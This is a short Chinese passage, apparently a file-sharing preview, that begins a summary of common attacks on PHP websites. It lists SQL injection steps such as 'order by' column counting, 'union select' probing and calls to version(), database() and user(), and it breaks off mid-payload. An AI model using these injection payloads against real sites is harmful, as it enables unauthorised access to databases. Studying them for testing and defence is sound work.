说明:本文实例总结了PHP常见的几种攻击方式。分享给大家供大家参考,具体如下:
1.SQL Injection(sql注入)
①.暴字段长度 Order by num/*
②.匹配字段 and 1=1 union select 1,2,3,4,5…….n/*
③.暴露字段位置 and 1=2 union select 1,2,3,4,5…..n/*
④.利用内置函数暴数据库信息
version() database() user()
不用猜解可用字段暴数据库信息(有些网站不适用):
and 1=2 u <weixin_38551070> 上传 | 大小:78kb